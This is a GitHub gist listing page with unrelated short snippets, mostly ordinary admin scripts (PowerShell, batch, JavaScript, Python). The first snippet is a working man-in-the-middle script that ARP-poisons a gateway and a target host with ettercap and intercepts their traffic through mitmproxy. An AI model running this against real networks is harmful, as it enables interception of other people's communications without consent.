Skip to content

Instantly share code, notes, and snippets.

View opexxx's full-sized avatar

Alexander Knorr opexxx

View GitHub Profile
#!/bin/bash
sysctl -w net.ipv4.ip_forward=1
iptables -t nat -F
iptables -t nat -A POSTROUTING -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 8080
ettercap -oT -i wlan0 -P repoison_arp -M arp:remote //192.168.1.1/ //192.168.1.101/
mitmproxy -T -z --host
iptables -t nat -F
@chirag64
chirag64 / SocialShareCount.js
Created February 19, 2014 16:27
Use this to get the Facebook & Twitter social share counts of a web page
function twitterCallback(result) {
result.count && console.log('The count is: ', result.count);
}
function getTwitterCount(url) {
var script = document.createElement('script');
script.async = true;
script.src = 'http://urls.api.twitter.com/1/urls/count.json?url=' + url + '&callback=twitterCallback';
document.body.appendChild(script);
}
# Simple Backup to Email script
# Requirements: 7-Zip to be installed
# User Variables
# Folder to zip and send
$TheFolder = "E:\ZipMe"
# (sub)Folder to exclude
$fExclude = "SkipMe"
@derekmurawsky
derekmurawsky / forfiles.bat
Created February 25, 2014 14:43
A simple way to delete files older than X days in windows. This command is native and works as far back as server 2003.
REM Deletes files in specified path older than X days.
forfiles -p "C:\path\to\files" -s -m *.* -d -360 -c "cmd /c del @path"
REM Alternate way to do it. Deletes all files in current directory older than X days.
forfiles -s -m *.* -d -360 -c "cmd /c del @path"
@toenuff
toenuff / profile.ps1
Last active August 29, 2015 13:57
PowerShell Profile
(("1*0x26*1x3*2x4*3x1*4x1*2x2*1x1*2x1*4x4*3x3*2x21*1x1*0x20*1x1*2x2*4x3*5x5*6x2*7x6*1x2*8x5*6x3*5x2*4x1*2x15*1x1*0x17*1x1*2x1*4x1*5x10*6x2*7x1*1x1*9x4*1x1*10x1*1x2*8x10*6x1*5x1*4x1*2x13*1x1*0x16*1x1*4x12*6x2*7x2*1x1*11x1*8x2*5x1*7x1*11x2*1x2*8x12*6x1*4x11*1x1*0x14*1x1*2x1*7x12*6x2*7x3*1x1*9x1*12x2*13x1*14x1*10x3*1x2*8x12*6x1*8x1*2x9*1x1*0x14*1x1*7x13*6x2*9x4*1x2*8x2*7x5*1x2*10x13*6x1*8x9*1x1*0x12*1x1*4x15*6x2*8x4*1x1*9x2*15x1*10x4*1x2*7x15*6x1*4x7*1x1*0x11*1x1*4x17*6x2*8x2*1x1*7x1*1x2*16x1*1x1*8x2*1x2*7x17*6x1*4x7*1x1*0x10*1x1*4x19*6x2*8x1*7x6*1x1*8x2*7x19*6x1*4x5*1x1*0x9*1x1*2x1*6x1*7x1*11x10*6x1*7x1*8x6*6x1*9x3*1x1*7x1*8x3*1x1*10x6*6x1*7x1*8x10*6x1*11x1*8x1*6x1*2x5*1x1*0x9*1x1*11x1*7x1*1x1*11x1*6x1*7x1*8x1*6x1*7x1*8x1*6x1*7x1*8x1*7x2*1x1*8x1*6x1*7x1*8x2*6x1*8x2*1x1*11x2*1x1*11x2*1x1*7x2*6x1*7x1*8x1*6x1*7x2*1x1*8x1*7x1*8x1*6x1*7x1*8x1*6x1*7x1*8x1*6x1*11x1*1x1*8x1*11x5*1x1*0x9*1x1*17x2*1x1*11x1*7x2*1x1*16x2*1x1*16x2*1x1*17x3*1x1*16x2*1x1*8x1*6x1*8x1*11x1*1x1*11x2*1x1*11x1*1x1*11x1*7x1*6x1*7x2*1x1*16x3*1x1*17x
@omerh
omerh / Restart_NewRelic_Agents_From_File.ps1
Created March 9, 2014 08:55
Restart all NewRelic Service Agent (from file
$servers = Get-Content C:\servers.txt
foreach($server in $servers)
{
if( Get-Service -ComputerName $server -Name "New Relic Server Monitor Service" -ErrorAction SilentlyContinue)
{
sc.exe \\$server stop nrsvrmon | Out-Null
sleep 5
sc.exe \\$server start nrsvrmon | Out-Null
# Extract all values from column 27 from a csv file delimited with ; and with values surrounded with quotes.
type .\data.csv | % { $a = ($_ -replace '"','') -split ";"; $a[27] }
#! /opt/zenoss/bin/zendmd --script=
# coding=utf-8
from pprint import pprint
from twisted.internet import defer, reactor
from txwinrm.collect import ConnectionInfo, WinrmCollectClient, create_enum_info
from txwinrm.shell import create_single_shot_command
@janikvonrotz
janikvonrotz / Schedule download job for GeoLite database.md
Created March 25, 2014 10:09
Ubuntu: Schedule download job for GeoLite database #Markdown #Ubuntu

Introduction

The GeoLite databases are our free IP geolocation databases. They are updated on the first Tuesday of each month.

Requirements

  • Ubuntu server

Installation

#AH - AdilHindistan - 2014-02-03
## Delete SoftwareDistribution Folder
net stop wuauserv
cmd /c del .\SoftwareDistribution /s /q #PowerShell
net start wuauserv
wuauclt.exe /resetauthorization /detectnow
## Proxy Settings
> reg query "hklm\software\microsoft\windows\currentversion\Internet settings\connections"